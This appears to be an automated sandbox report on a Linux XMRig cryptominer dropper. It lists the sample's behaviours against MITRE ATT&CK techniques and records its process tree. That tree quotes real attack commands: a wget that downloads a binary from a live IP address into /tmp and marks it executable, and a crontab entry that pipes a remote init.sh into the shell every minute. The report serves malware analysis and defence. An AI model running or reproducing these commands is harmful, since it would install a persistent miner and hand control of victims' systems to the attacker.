Analysis
- max time kernel
89s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
10/08/2026, 10:26
General
- Target ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
- Size 3KB
- Sample260810-mgpd1afe39
- SHA256 ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Modifies the dynamic linker configuration file 2 TTPs 1 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
- XMRig Miner payload 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 1 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d/tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d1⤵
- Executes dropped EXE
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵
-
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f /tmp/.kworkerd2⤵
-
-
/bin/rmrm -f /tmp/.kworkerd2⤵
-
-
/usr/bin/wgetwget -T 180 -t 1 -qO /tmp/.kworkerd http://193.32.162.73/d/7c4124282c4ad7b6/bins/kworkerd2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/.kworkerd2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/basenamebasename /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d2⤵
-
-
/tmp/.kworkerd/tmp/.kworkerd2⤵
- Modifies the dynamic linker configuration file
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "/bin/systemctl enable redis-sentinel.service 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl enable redis-sentinel.service4⤵
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c '{ kill -0 1496 2>/dev/null || grep -q 0100007F:A71C /proc/net/tcp 2>/dev/null; } && exit 0; (wget -qO- http://193.32.162.73/d/7c4124282c4ad7b6/init.sh || curl -sL http://193.32.162.73/d/7c4124282c4ad7b6/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm -f /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d2⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
redis-sentinel.service
.kworkerd
.redis-server.pid
libproc.so
root
tmp.Se58R2